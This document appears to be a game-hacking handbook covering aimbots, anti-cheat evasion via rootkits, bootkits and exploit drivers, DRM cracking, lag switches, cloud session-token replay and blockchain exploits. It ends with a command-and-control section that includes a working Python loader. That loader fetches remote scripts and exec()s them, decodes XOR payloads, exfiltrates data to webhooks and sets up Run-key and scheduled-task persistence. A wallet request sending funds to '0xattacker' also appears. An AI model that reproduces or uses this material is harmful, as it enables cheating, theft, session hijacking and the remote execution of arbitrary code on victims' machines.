void aim_at_target(DWORD base, Vector3 my_pos, Vector3 enemy_pos) {
float pitch, yaw;
calculate_angle(my_pos, enemy_pos, &pitch, &yaw);
writeFloat(base + view_angles_offset, yaw);
writeFloat(base + view_angles_offset + 4, pitch);
}
import pyautogui
import cv2
import numpy as np
def find_target():
screenshot = pyautogui.screenshot()
frame = np.array(screenshot)
mask = cv2.inRange(frame, (200,0,0), (255,50,50)) # Red enemy box
loc = np.where(mask > 0)
if loc[0].size > 0:
target = list(zip(*loc[::-1]))[0]
pyautogui.moveTo(target[0], target[1])
def smooth_aim(current, target, speed=0.1):
dx = (target[0] - current[0]) * speed
dy = (target[1] - current[1]) * speed
return current[0] + dx, current[1] + dy
import torch
model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
def aim_at_enemies(frame):
results = model(frame)
targets = results.pandas().xyxy[0]
if not targets.empty:
target = targets.iloc[0]
center_x = (target['xmin'] + target['xmax']) / 2
center_y = (target['ymin'] + target['ymax']) / 2
adjust_aim(center_x, center_y)
from filterpy.kalman import KalmanFilter
kf = KalmanFilter(dim_x=4, dim_z=2)
kf.predict()
kf.update([measured_x, measured_y])
#include <Joystick.h>
void aim_and_shoot(int x_offset, int y_offset) {
Joystick.move(x_offset, y_offset);
Joystick.pressButton(FIRE_BUTTON);
delay(100);
Joystick.releaseButton(FIRE_BUTTON);
}
void disable_collision(DWORD player_ptr) {
*(bool*)(player_ptr + collision_enabled_offset) = false;
}
bBlockingHit = false; // Ignore collisions
iptables -A OUTPUT -p udp --dport 27015 -j TEE --gateway 127.0.0.1
tc qdisc add dev lo root netem delay 600ms
Interceptor.attach(Module.findExportByName("ws2_32.dll", "sendto"), {
onEnter(args) {
let packet = args[1];
if (is_combat_packet(packet)) {
Thread.sleep(600);
}
}
});
tc qdisc add dev eth0 root tbf rate 100kbit latency 50ms burst 1540
from scapy.all import *
def drop_damage_packets(pkt):
if UDP in pkt and pkt[UDP].dport == 27015:
if is_damage_received(pkt.load):
return False
return True
sniff(filter="udp", prn=drop_damage_packets, store=0)
DWORD WINAPI fake_tick_count() {
return original_tick_count() - 2000;
}
Evade detection with these next-level bypasses.
-
Hook
NtQuerySystemInformation
:if (SystemInformationClass == SystemProcessInformation) { // Modify buffer to hide process }
-
Patch
IsDebuggerPresent()
: Nullify checks with a byte edit. -
Disable ETW:
mov rdx, [EtwpProviderTable] xor rdx, rdx
-
Driver-Level Injection: Use signed exploit drivers (e.g., Capcom.sys).
-
Unlink DLLs from PEB:
PLIST_ENTRY pList = (PLIST_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink; pList->Blink->Flink = pList->Flink; pList->Flink->Blink = pList->Blink;
-
Obfuscate with VMProtect/Themida.
-
Patch
rdtsc
:xor eax, eax ret
-
Falsify telemetry, suspend AC threads, hijack overlays.
- Driver Signing Bypass: Exploit leaked certs (e.g., CVE-2023-36033).
- Hypervisor Detection Evasion: Patch CPUID VMX flags.
- Memory Cloaking: Modify CR3 to create ghost memory regions.
- DMA: Use PCILeech with FT601 FPGA for invisible RAM edits.
- Behavioral Spoofing: AI-generated mouse movement (GAN-based).
- Kernel Callbacks: Patch to avoid detection.
- Rootkits: Persistent cloaking and hiding memory pages.
- HWID Spoofing: Forged hardware identifiers to bypass bans.
Break game rules with clever manipulations.
- NOP Timers: Remove reload/cooldown delays.
- Overwrite Pointers: Skip cooldown logic.
- Tamper Damage Formulas: Boost damage output.
- Disable Recoil/Sway: Patch physics variables.
- Currency Desync: Exploit offline logic for free cash.
- Teleport: Overwrite XYZ coordinates.
- Fake Events: Trigger
onWin()
artificially. - Client Prediction Desync: Ghost enemies.
- Modify RNG Seeds: Force loot rolls.
- Duplicate Items: Abuse server sync bugs.
- Physics Manipulation: Hook
hkpWorld::stepDeltaTime
or PhysX calls. - Coordinate Warping: Script teleport logic via
ReadProcessMemory
/WriteProcessMemory
. - RNG Prediction: Reverse Mersenne Twister using outputs.
Target game engines with tailored exploits.
- Unity: Patch
Assembly-CSharp.dll
, hook Mono runtime. - Unreal: Inject .pak files, hook
UFunction::ProcessEvent
. - GameMaker: Modify
.yy
/.yyp
and inject viaYYDebug
. - WebGL/WASM: Use
wasm-decompile
, optimize withwasm-opt
. - Lua/Mono: Inject scripts, hook
Assembly.Load
.
-
Unreal Engine 5:
- Dump
GObjects
/GNames
using pattern scan:48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
- Inject
UGameplayStatics::ExecuteConsoleCommand
- Dump
-
Unity:
- Dump IL2CPP with
Il2CppDumper
+Ghidra
- Hijack Mono JIT via
mono_jit_compile_method
- Dump IL2CPP with
-
Advanced:
- Shader Replacement for wallhacks
- Physics Hooks via engine allocators
Employ bleeding-edge hacks at the APT level.
- Ring0 Driver Injection
- EPT Memory Redirection (VT-x)
- Patch PTE Bits to hide pages
- Hypervisor Execution: Custom VM cheat layer
- PCILeech DMA
- UEFI/EFI Bootkits for firmware persistence
- GPU-Offloaded Cheats: Use CUDA shaders
- Patch Syscall Stubs
- NTFS ADS: Alternate data stream payloads
- UEFI Rootkits: Flash modded firmware via CH341A
- GPU Malware: CUDA shellcode via
cuMemAlloc + cuLaunchKernel
- Intel ME: Use Red Unlock for code injection
- DMA via Intel 82599 NIC
- SGX/SEV Enclaves for protected cheat logic
- Steganography: Embed payloads in textures/assets
Automate and break games with these tools.
- Automate with
pyMeow
/pymem
: Script memory edits in Python. - Fuzz
.sav
,.pak
,.json
,.lua
: Use AFL++ / Honggfuzz to crash parsers. - Simulate Movement: Send fake input via
SendInput
or Python libraries. - Trace with Frida: Log function calls with custom callbacks.
- Automate UIs with Selenium: Script web-based interfaces.
- UDP Packet Fuzzers: Send custom payloads to game servers.
- Hook Scripting Engines: Monitor Lua / Python calls.
- Auto-Aim with YOLOv5 + OpenCV: Real-time targeting.
-
YOLOv7 + DeepSORT: Real-time aimbot tracking.
model = torch.hub.load('ultralytics/yolov5', 'yolov7') results = model(frame) targets = results.pandas().xyxy[0] # Extract enemy bounding boxes
-
Reinforcement Learning: Train agents with Unity ML-Agents or OpenAI Gym.
- Coverage-Guided Fuzzers: AFL++ with QEMU mode for binary-only games.
- Custom Mutators: Build fuzzers for Protobuf or proprietary structures.
Crack protections with these advanced techniques.
- Bypass Denuvo: Dump memory mid-run with x64dbg.
- Locate OEP: Trace back to original entry point.
- Rebuild PEs: Use Scylla / PE-bear to fix dumped binaries.
- Patch Decryption Loops: Remove XOR routines from loaders.
- Disable CRC Checks: Patch integrity verification.
- Locate License Checks: Cross-reference key strings in IDA.
- Inject at Handoff: Hook stub-decryption transitions.
- Devirtualize: Unpack VMProtect / Themida.
- Hook
NtOpenFile
: Intercept license queries via Frida.
- Memory Dumping: Use ScyllaHide to evade debugger checks and dump decrypted
.text
sections. - Emulation: Reconstruct VM handlers using Qiling Framework.
- VMProtect 3.x Unpacking: Decode x86 opcodes with Triton.
- ASLR Bypasses: Patch static memory for reliable exploitation.
Craft stealthy payloads with these methods.
- ESP Overlays: Execute via render function hooks.
- Polymorphic XOR: Compress/obfuscate shellcode payloads.
- Overflow Triggers: Inject via savegame or file parsers.
- Config-File Loading: Store payloads externally.
- OCR-Based ESP: Use screen capture + OpenCV, no injection.
- Heap Spray: Execute through Lua / JS scripting engines.
- Alphanumeric Payloads: For character-restricted exploits.
- TLS Callbacks: Run before
main()
in PE headers. - Custom Syscalls: Avoid usermode detection.
- SELF: Staged ELF Loader with LZMA compression and
mprotect
stub. - Thread Hijacking:
NtSuspendThread(hThread); WriteProcessMemory(...); // overwrite RIP
- ROP Bootstrapping: Launch shellcode via gadgets.
Modern DRM systems deploy multi-stage loaders, packing and obfuscating payloads using VM-based encryption, anti-debugging logic, and staged virtual machine handlers. Breaking through these layers is essential for:
- Restoring clean .text sections
- Analyzing game logic behind anti-tamper wrappers
- Reconstructing protected functions for cheat injection
- Defeating signature checks and telemetry sinks
Concept | Description |
---|---|
Loader staging | Multiple layers of unpacking: stub → loader → VM |
Virtualization | Code translated into custom bytecode and interpreted |
Mutation engines | Obfuscate instructions and flow via polymorphism |
Anti-dump | Prevent dumping memory with CRCs, active page clearing |
Loader chain detection | Uncover multi-executable chains embedded in final binary |
- High entropy in .text, .vmp0, or .code → indicates encryption
- Stub code at OEP (original entry point) →
jmp short _loadnext
- Long sleep / timing checks → anti-debug
Use:
binwalk --entropy binary.exe
Tools: PEiD / Detect It Easy
Staged loaders often call:
CALL DecryptAndExecute
JMP EAX
Trace VirtualAlloc → memcpy → CreateThread or jmp rax
Watch for:
- NtProtectVirtualMemory with RWX permissions
- memcpy into a shell region
- Encrypted VM blob → then mapped and run
Place breakpoints:
bp kernel32!VirtualAlloc
bp kernel32!CreateThread
Then dump memory once second-stage loader appears.
Stage | Purpose |
---|---|
Stage 0 | PE stub (launches decryptor) |
Stage 1 | Loader stub (decrypts VM blob) |
Stage 2 | Encrypted VM bytecode in .vmp0 |
Stage 3 | Custom VM interprets protected funcs |
Signs of VMProtect:
- .vmp0, .vmp1, .vmp2 sections
MOV EAX, VM_OPCODE_TABLE
- High-entropy embedded dispatch loop
Tools: VMPDump, x64dbg + Scylla + VMProtectTrace
Dispatch logic:
movzx eax, byte ptr [ecx] ; opcode fetch
call [OpcodeHandler + eax*4] ; handler dispatch
Use Unicorn engine:
mu.mem_write(vm_addr, vm_code)
mu.emu_start(vm_addr, vm_addr + len(vm_code))
- Multiple compressed regions (LZ4, LZO, LZSS)
- XOR-encrypted memory blocks
- Anti-VM or anti-dump logic
Use: Scylla, PE-sieve, Cheat Engine
Defense Mechanism | Bypass Technique |
---|---|
Hardware breakpoint check | Patch IsDebuggerPresent, NtQueryInfoProcess |
CRC32 page check | Patch CRC logic with RET or NOPs |
Page clearing on dump | Dump post-RWX and force page copy |
VEH-based obfuscation | Remove AddVectoredHandler entries |
Tools: ScyllaHide, TitanHide, PE-sieve
import frida
def on_message(msg, data):
if msg["type"] == "send":
print("[*]", msg["payload"])
session = frida.attach("target.exe")
script = session.create_script("""
Interceptor.attach(Module.getExportByName(null, "VirtualAlloc"), {
onLeave: function (retval) {
send("Alloc at: " + retval);
}
});
""")
script.on('message', on_message)
script.load()
- .text0 → Loader stub
- .text1 → Encrypted ELF or PE blob
- .bind, .elfhash, .denuvo sections
Reverse:
- Hook
NtQueryVirtualMemory
,NtReadVirtualMemory
- Look for RDTSC anti-debug timings
- Use Cheat Engine Snapshot Compare
Loader Stage | Signature / API | Description |
---|---|---|
Stub loader | jmp [rax], entropy | Entry obfuscator |
Memory decryptor | RtlDecompressBuffer, VirtualProtect | Payload unpacker |
VM dispatcher | mov al, [ecx], call [eax*4] | Custom VM handler switch |
Anti-debug | RDTSC, CPUID, int 3 | Timing + breakpoint checks |
Use LIEF to:
- Modify PE headers, section alignments
- Patch entry point or stub region
Combine with AFL++ to fuzz staged binaries.
Tool | Purpose |
---|---|
x64dbg + Scylla | Manual unpack, IAT fix |
PE-sieve | Detect memory-mapped unpacked modules |
VMProtectDump | Dump runtime-decrypted VM code |
TitanHide | Hide debugger from anti-debug checks |
IDA Pro + HexRays | Advanced disasm and pseudocode |
LIEF | Programmatic PE patching |
Leverage AI for next-gen cheat capabilities.
- YOLOv5 / Faster-RCNN: Train pixel-perfect aimbots.
- OpenCV Color Analysis: Track HP bars, enemies, alerts.
- RL Bots: Intelligent evasion via OpenAI Gym.
- LSTM: Predict patrol paths or enemy movements.
- Neural ESP: Use segmentation models for wallhacks.
- Anti-Cheat Popup Detection: OCR + reaction system.
- Decision Trees: Prioritize high-value loot.
- Movement Analysis: Detect bot players.
- StyleGAN3: Generate neural textures for ESP.
- LSTM: Predict movements from input logs.
- GAN Fine-Tuning: Spoof UI or texture assets.
- Edge AI: Deploy to microcontrollers for field-ready inference.
Exploit physical devices for undetectable cheats.
- Arduino HID Spoofers: Simulate human-like input.
- PCILeech DMA: Inject RAM via hardware.
- USB-to-UART: Access devkit consoles.
- Logic Analyzers: Monitor AC behavior.
- Raspberry Pi Deauth: Disrupt online sync via WiFi attacks.
- Teensy Input Simulators: Randomized macros.
- HDMI Capture Aimbots: External targeting.
- QMK Keyboard Logic: Reflash firmware with custom logic.
- BIOS Patching: UEFI driver loading pre-boot.
This section focuses on hacking, reverse engineering, and modifying console and PC firmware — the bedrock of trust for most anti-cheat and platform security systems.
From BIOS/UEFI to hypervisors and bootloaders, firmware manipulation allows for:
- Undetectable cheats via early boot injection
- Bypassing secure boot, signature validation, and TPM/TrustZone
- Full control over memory, virtualization, and root-level telemetry
Modern PCs boot via UEFI (Unified Extensible Firmware Interface), replacing legacy BIOS. UEFI is programmable and includes DXE modules that enforce secure boot and TPM communication.
Purpose | Tool |
---|---|
Firmware extraction | UEFITool, Chipsec, Flashrom |
Modding UEFI vars | RU.EFI, AMIBCP, H2OUVE |
Secure boot bypass | UEFI Shell, EDK2 hacking |
Flash dumping | CH341A SPI Programmer |
flashrom -p ch341a_spi -r dump.bin
Or from inside Linux:
sudo chipsec_util spi dump BIOS.bin
UEFIExtract dump.bin
UEFIDump dump.bin
Look for: SecureBoot, SetupUtility, TPM, SmmAccess2, AmiBoardInfo, RuntimeServices, SmmRuntime
- Add unsigned DXE modules
- Hook BootServices->StartImage
- Inject payload that writes to RAM after ExitBootServices()
- Modify UEFI .ffs file
- Insert using UEFITool
- Flash patched ROM
Payload triggers at early boot phase (pre-OS)
- Boot ROM: Boot0, Boot1, pkg1, pkg2
- Vulnerabilities: Fusée Gelée, Warmboot Handoff
Tools: hekate, Lockpick_RCM, Atmosphere, TegraExplorer, HacTool
- Boot chain: BootROM, Second Loader, Secure Kernel
- Protections: TrustZone, LV0/LV1 encryption, OTP
Tools: ps5-kstuff, IDA, Ghidra, Unicorn, UART taps
- Hyper-V root partition
- Secure Boot + Dev Mode
Tools: QEMU, HVMSR intercepts
- LV0: Boot loader binary
- LV1: Hypervisor kernel
- LV2: GameOS
Target: Patch syscall registration
Tools: Mamba, ps3xploit, Hypervisor Call Trace
Layer | Target | Attack Vector |
---|---|---|
UEFI | DXE modules | Patch boot services |
Nintendo | pkg1, loader.kip1 | ROP injection |
PS5 | BootROM | EL3 key handler |
Xbox | hvlaunch.xex | Hypercall patching |
PS3 | LV0 / LV1 | Homebrew syscall patching |
Tool | Use Case |
---|---|
UEFITool | Extract/patch DXE modules |
Chipsec | Analyze SPI/SMM |
Flashrom | Dump ROM via SPI |
IDA, Ghidra | Boot ROM reverse engineering |
Unicorn | ARM64 emulation |
Qiling | Firmware sandboxing |
Protection | Bypass Strategy |
---|---|
Secure Boot | Patch SetupUtility |
OTP Key Fuse | Emulated OTP |
TrustZone | EL3 handler patch |
Dev Mode | UEFI var patch |
- Memory patchers before anti-cheat
- CR3 spoofers
- Kernel-mode syscall filters
- PlayStation 5: WebKit ROP exploit (e.g., CVE-2021-30858).
- Nintendo Switch: Coldboot exploit Fusée Gelée via USB-C.
- Raspberry Pi Pico: Emulate Xbox controller with GPIO triggers.
- FPGA Packet Injection: Xilinx Artix-7 for spoofing.
- JTAG: Soldered access to CPU internals.
Use streaming tools like PS Remote Play, Xbox App, or Chiaki to automate console gameplay from a PC:
- Capture gameplay with OpenCV or YOLOv7
- Detect resources, enemies, UI elements
- Inject input via HID emulators (Arduino Leonardo, Teensy)
- Automate loops: mining, fishing, looting
- Emulate human-like behavior via randomization and delays
This setup works fully externally, ideal for undetectable console farming bots.
┌───────────────┐ ┌────────────────────┐ ┌───────────────┐
│ PlayStation 5 │──────▶│ PS Remote Play App │─────▶│ Screen Capt. │
└───────────────┘ └────────────────────┘ │ + CV Detector │
└────┬──────────┘
│
┌──────▼───────┐
│ HID Emulator │ (Arduino/Teensy)
└──────────────┘
Use:
- PlayStation Remote Play (PS4/PS5)
- Xbox Console Companion / Remote Play
- Moonlight + Sunshine (NVIDIA Gamestream-based)
- Chiaki (open-source, reverse-engineered PS Remote Play)
Best Option for Automation: Chiaki + OBS + Teensy
Use OpenCV or YOLOv5/YOLOv7 to identify:
- Health bars
- Enemies
- Resource nodes
- Map location
Example: Mining Bot Detection
import cv2
import numpy as np
node_template = cv2.imread("ore_node.png", 0)
frame = cv2.imread("screen.png", 0)
res = cv2.matchTemplate(frame, node_template, cv2.TM_CCOEFF_NORMED)
loc = np.where(res >= 0.92)
for pt in zip(*loc[::-1]):
print("Node at:", pt)
move_cursor_to(pt)
send_button_press("X")
Use Arduino Leonardo, Teensy 4.0, or Raspberry Pi Pico (RP2040):
- Emulate Xbox or PS5 controller
- Send joystick moves, button presses
- Fake human input with jitter/randomization
Example: Arduino Joystick Movement Script
#include <Joystick.h>
Joystick_ Joystick;
void setup() {
Joystick.begin();
}
void loop() {
Joystick.setYAxis(100); // Move forward
delay(500);
Joystick.setYAxis(0); // Stop
delay(1000);
}
If using PS Remote Play on Android:
- Use AutoInput + Tasker
- Use ADB + scrcpy + Python
Example: Tap Resource with ADB
adb shell input tap 540 1320
- Record a resource route (streaming to PC)
- Detect resource spawn points with template matching or YOLO
- Move character with joystick HID script
- Pause until node appears
- Interact when node is detected (
X
button press via Teensy) - Repeat loop with randomized sleep and camera wiggle
This works 100% externally. No modding, no memory hooks.
# Automates node detection + input for Remote Play ESO bot
from PIL import ImageGrab
import cv2, numpy as np
import serial, time
ser = serial.Serial('COM3', 9600) # Teensy/Arduino COM port
def find_node(template):
frame = np.array(ImageGrab.grab())
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
tmpl = cv2.imread(template, 0)
result = cv2.matchTemplate(gray, tmpl, cv2.TM_CCOEFF_NORMED)
loc = np.where(result >= 0.95)
return list(zip(*loc[::-1]))
def send_input():
ser.write(b'X\n') # Arduino interprets and presses X button
time.sleep(1)
while True:
hits = find_node("ore_template.png")
if hits:
print("[+] Resource found:", hits[0])
send_input()
time.sleep(2)
Cloud gaming platforms (e.g., GeForce NOW, Xbox Cloud, Amazon Luna, Stadia) shift game execution to the cloud, introducing network-based attack surfaces previously unavailable in traditional game hacking. In this section, we focus on exploiting latency, session logic, and cloud APIs for unauthorized access and disruption.
Target Area | Attack Vector | Goals |
---|---|---|
Network ↔ Stream | Latency injection, packet reordering | Desync, timing abuse |
Session Token / Auth | Hijack or reuse active session | Take over session or identity |
API Gateway / Infra | Reverse-engineer APIs | Abuse resources, extract games |
UI Overlays | JavaScript / WebRTC manipulation | XSS, UI injection, fake input |
Cloud gaming relies on low-latency video streaming and responsive inputs. Injecting controlled network jitter, delay, or packet reordering can desynchronize gameplay or force input failures.
tc
(Linux traffic control)netem
(network emulator)clumsy
(Windows packet drop/lag tool)- Wireshark or tcpdump for packet inspection
- VPNs with adjustable RTT (e.g., Mullvad + Socks5 proxy)
Linux (NetEm + tc):
sudo tc qdisc add dev eth0 root netem delay 300ms 50ms distribution normal
Windows (Clumsy):
clumsy.exe --lag 250 --drop 3%
Target Game | Exploit Effect |
---|---|
Fortnite (xCloud) | Desync builds and shots |
Apex (GeForce) | Lag-switch to eat bullets |
ESO / MMOs | Skip animation cancels / avoid interrupts |
Scripted lag control based on game state:
# lagbot.py
import os, time
while True:
os.system("tc qdisc change dev eth0 root netem delay 300ms 100ms")
time.sleep(3)
os.system("tc qdisc change dev eth0 root netem delay 0ms")
time.sleep(2)
Cloud gaming platforms maintain browser-based or WebSocket-based session tokens for game stream authentication.
Method | Attack | Notes |
---|---|---|
Cookie/session steal | Replay token | Use mitmproxy or JS hook |
WebSocket hijack | Inject into live control | Requires token & WS URL |
API endpoint abuse | Replay startSession() call | Seen in Stadia / Luna |
Extract WebSocket Token:
wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ
Craft Python Client:
import websocket
ws = websocket.create_connection("wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ")
ws.send('{"action":"move","direction":"left"}')
Replay startSession API Call:
POST /api/v1/startSession
Authorization: Bearer <token>
- Stadia DevKit leaks via
launchTitle()
- GeForce NOW API token replay
- Moonlight/Sunshine weak token auth
- mitmproxy
- Burp Suite
- chrome://net-export
- DevTools → Network tab
Java.perform(function() {
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(k, t, r) {
console.log("[*] Bypassing SSL Pinning");
this.init.call(this, k, [MyTrustManager.$new()], r);
};
});
Platform | Endpoint | Potential Abuse |
---|---|---|
Stadia | /startSession, /loadTitle | Replay past sessions |
GeForce NOW | /streams, /auth/v2 | Spoof device or obtain stream |
Xbox Cloud | /xgpu/allocateSession | DoS resource exhaustion |
Technique | Description | Mitigation |
---|---|---|
VPN rotation | Evade geo locks, rate limits | SOCKS5 + IPv6 |
Modify browser headers | Impersonate session/client | Override User-Agent, device ID |
Replay old sessions | Use expired but cached tokens | Exploit poor session invalidation |
Scripted idle mouse | Prevent timeout | JS or browser automation |
- Spoof GeForce NOW session to capture streamed flags
- Denial of Service on PvP cloud opponents via lag
- Enumerate enterprise cloud gaming APIs
- Phish or hijack stream tokens and inject overlays
Virtual and Augmented Reality (VR/AR) introduce new attack vectors—spatial spoofing, sensor manipulation, and gesture abuse—distinct from traditional game hacking.
SDK / Platform | Description | Attack Surface |
---|---|---|
OpenVR / SteamVR | Valve’s open VR runtime | Pose injection, device spoofing |
Oculus SDK | Meta’s VR ecosystem | Gesture hacks, pose spoofing |
Unity XR | Unity’s VR abstraction | Memory manipulation |
ARKit / ARCore | iOS/Android AR frameworks | Sensor spoofing |
Manipulate 6DoF (degrees of freedom) tracking to teleport, walk through walls, or gain speed boosts.
// PlayerTransform.cs (decompiled)
void Update() {
transform.position = new Vector3(x, y, z); // Injected coords
}
Inject with Frida:
var transform = Mono.use("UnityEngine.Transform");
transform.position.value = {x:999, y:5, z:-20};
vr::TrackedDevicePose_t spoofedPose;
spoofedPose.mDeviceToAbsoluteTracking = ...; // Injected matrix
VRCompositor()->SubmitPose(...);
Modify gesture recognition logic for:
- Auto-swing in Beat Saber
- Infinite grab reach in Half-Life: Alyx
- Aimbot-style teleporting in Onward VR
Interceptor.attach(Module.findExportByName("OculusVR.dll", "GetControllerPose"), {
onLeave(retval) {
retval.x = 999;
retval.y = 999;
retval.z = 999;
}
});
Send fake GPS, compass, or accelerometer data to mobile AR games like Pokémon GO.
Java.perform(function() {
var Sensor = Java.use("android.hardware.SensorManager");
Sensor.getOrientation.implementation = function(...) {
return [999, 999, 999];
};
});
Tactic | Result |
---|---|
Spoof OpenVR pose | Appear in unreachable game area |
Gesture override | Instant win input |
AR location spoof | Gain location-limited loot/events |
Hook Unity XRManager | Force map load / room bypass |
Blockchain-integrated games introduce new attack surfaces—smart contracts, token logic, and crypto wallets.
Layer | Attack Type |
---|---|
Smart Contracts | Logic flaws, state overwrite |
Off-chain Logic | Desync between client/server |
Wallet Integration | Spoof signatures or misroute funds |
Game Economy | Price oracle abuse, arbitrage |
function mintWeapon() public {
weaponBalance[msg.sender] += 1;
}
Exploit via Web3.py:
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
contract = w3.eth.contract(address='0x...', abi=abi)
contract.functions.mintWeapon().transact({'from': attacker})
Replay Attack Exploit:
POST /api/v1/claimDrop
Authorization: Bearer XYZ
for token in $(cat tokens.txt); do
curl -X POST https://game/api/v1/claimDrop -H "Authorization: Bearer $token"
done
Price Oracle Exploit
- Launch flash loan
- Manipulate ETH/USD temporarily
- Buy items at incorrect valuation
ethereum.request({
method: 'eth_sendTransaction',
params: [{
to: '0xattacker',
value: '0xFFFFFFFFFFFFFFF',
gas: 21000
}]
});
Exploit | Effect |
---|---|
Duplicate NFT | Unlimited rare item cloning |
Unauthorized mint | Create ultra-powerful weapons |
Currency abuse | Inflate gold/tokens |
API replay | Loot claim replays |
Vector | Mitigation |
---|---|
Smart Contract | Use onlyOwner / require() checks |
NFT APIs | Use nonce or anti-replay tokens |
Unity Wallets | Validate signature + timestamp |
Oracles | Use median + TWAP, not single source |
Zero-Knowledge Proofs (ZKPs) — especially zk-SNARKs and zk-STARKs — are now used in Web3 games to verify game logic, moves, and state transitions without revealing the underlying data. This section breaks down how they work, how to identify them in use, and how attackers may abuse or bypass them.
Concept | Description |
---|---|
zk-SNARK | Zero-Knowledge Succinct Non-Interactive Argument of Knowledge |
zk-STARK | Scalable Transparent Argument of Knowledge (STARK = no trusted setup) |
Purpose | Allows a party to prove knowledge of a state or computation without revealing it |
Use in games | Verifying game actions, scores, or resources off-chain then committing proof on-chain |
Use Case | zk Purpose | Example |
---|---|---|
PvP move verification | Ensure actions are valid without revealing tactics | Private turn in a card battle game |
Anti-cheat verification | Ensure a player followed physics/move rules | zk-proof of path validity in racing |
RNG proofs | Ensure fair randomization | zk-RNG proof of loot roll |
Score submission | Prevent falsified high scores | zk-proof of valid gameplay + result |
Asset creation | Guarantee valid NFT minting | zk-proof of crafting or merging |
Smart contracts referencing verifier contracts (often generated via ZoKrates, Circom, or Cairo)
Solidity functions like:
function verifyProof(...) public view returns (bool)
Contracts using libraries like:
Verifier.sol
(ZoKrates)Plonk.sol
,Groth16.sol
STARKVerifier.sol
(Starkware)
Run:
myth analyze contract.sol
slither verifyProof --detect-constant-function
Web3 game clients (JavaScript/TypeScript) loading .zkey
, .wasm
, or .proof.json
files.
Use of:
import { groth16 } from "snarkjs"
groth16.fullProve(input, wasmPath, zkeyPath)
Proof payload sent via HTTP to /submitScore
or /submitProof
Game Flow (Simplified):
- Player finishes game
- Client generates zk-proof locally
- Sends proof to smart contract
- Contract verifies proof before recording score
Verifier Snippet (Solidity):
function submitScore(bytes memory proof, uint[] memory publicSignals) public {
require(verifier.verifyProof(proof, publicSignals), "Invalid proof");
scores[msg.sender] = publicSignals[0];
}
Component | Role |
---|---|
Circuit | Describes logic to be proven (e.g., game score validity) |
Prover | Generates proof from private + public inputs |
Verifier | Checks the proof’s validity using public input |
Trusted Setup | Generates cryptographic keys for prover/verifier |
If proofs are generated client-side, reverse-engineer WASM or zkey logic.
// Normally
await groth16.fullProve(validInput, "circuit.wasm", "key.zkey")
// Maliciously
await groth16.fullProve(modifiedInput, "tampered_circuit.wasm", "forged_key.zkey")
Example:
signal input score;
signal input cheatCode;
signal output isValid;
isValid <== cheatCode * 0 + score == expectedScore; // 💥 flawed logic
Reused public inputs (e.g., static RNG seed) → replayable proof.
Fix: Include session ID, player address, or nonce in public signals.
Look for unsafe delegatecall
, dynamic verifier contracts.
Run:
mythril --solc-args --ast-compact-json target.sol
Feature | zk-SNARK | zk-STARK |
---|---|---|
Trusted Setup | ✅ Required | ❌ No trusted setup |
Proof Size | Small (100s B) | Large (~100 KB) |
Verification | Fast | Slower |
Tooling | ZoKrates, Circom | Cairo, Starknet |
Use in Games | Card games, RNG, scores | High-complexity logic (PvP, path) |
Tool | Use Case |
---|---|
ZoKrates | zk-SNARK circuit definition and proof generation |
Circom | Write custom proof circuits (used by TornadoCash) |
snarkjs | Generate proofs in JS for web-based zk clients |
Cairo | zk-STARK language (used in Starknet) |
Noir | Aztec’s Rust-based zk circuit DSL |
zkrepl.dev | Live REPL for zk circuits |
Threat | Mitigation |
---|---|
Proof tampering | Verify full public input hash on-chain |
Replay proof | Add per-session randomness or block height |
Weak constraints | Audits + formal circuit verification tools |
Contract substitution | Avoid delegatecall, verify codehash |
-
zk-SNARKs & zk-STARKs are used to verify private player actions or game logic without revealing secrets
-
Attack surface lies in client-side proof generation, weak constraints, replayability, and contract architecture
-
Understanding zk circuits is essential for next-gen exploit and audit work in Web3 games
Simulating advanced adversary tradecraft in bot management and control using command-and-control (C2) infrastructure. While these techniques resemble malware TTPs, they are crucial for Red Team operations and security research.
Use Case | Implementation | Red Team Equivalent |
---|---|---|
Modify farming route | Fetch new waypoints from C2 server | Stager / pull-based beacon |
Change logic remotely | Load new scripts/DLLs over HTTP | Cobalt Strike artifact exec |
Trigger bot actions | Polling or webhook trigger | HTTP reverse beacon |
Persist config after reboot | Store in %APPDATA% , ADS, Task Scheduler |
RAT-style persistence |
Send loot logs/telemetry | Discord/TG webhook or POST exfil | Covert exfiltration |
# C2Bot.py
# Pulls config from remote C2, loads logic, and executes
import requests
import time
import ctypes
CONFIG_URL = "https://yourdomain.com/config.json"
def fetch_config():
try:
res = requests.get(CONFIG_URL, timeout=5)
if res.status_code == 200:
return res.json()
except Exception as e:
print("[-] Failed to fetch config:", e)
return {}
def load_and_exec(payload_url):
try:
script = requests.get(payload_url, timeout=5).text
exec(script, globals())
except Exception as e:
print("[-] Failed to load payload:", e)
if __name__ == "__main__":
while True:
cfg = fetch_config()
if "payload" in cfg:
print("[+] Loading payload from:", cfg["payload"])
load_and_exec(cfg["payload"])
time.sleep(cfg.get("interval", 60))
{
"payload": "https://yourdomain.com/logic/minerbot.py",
"interval": 60,
"trigger": "enabled"
}
payload
: remote script or logicinterval
: polling frequencytrigger
: activation flag
-
Hot-Swap Logic:
import importlib # or use exec() for dynamic logic reload
-
XOR-Encoded Payloads:
def decode_payload(x): return ''.join(chr(ord(c) ^ 0x55) for c in x) script = decode_payload(requests.get(url).text) exec(script)
-
C2 Over Webhooks:
import requests def report(event): requests.post("https://discord.com/api/webhooks/...", json={ "username": "BotStatus", "content": f"[+] {event}" }) report("Bot started.")
Technique | Purpose | Sample Code |
---|---|---|
String obfuscation | Avoid static scans | ''.join([chr(x) for x in [...]]) |
Runtime decryption | Delay detection | XOR/RC4 encoded payload |
Sleep jittering | Behavioral stealth | time.sleep(random.randint(...)) |
GitHub raw URL hosting | Public payload delivery | raw.githubusercontent.com/... |
Platform | Method | Description |
---|---|---|
Windows | Registry Run key | Auto-start on boot |
Windows | Task Scheduler | Survives reboot |
Linux | .bashrc , systemd |
Re-exec on login |
All | %APPDATA% , .cache |
Hidden dir deployment |
Use these bots to:
- Study network forensics of C2 systems
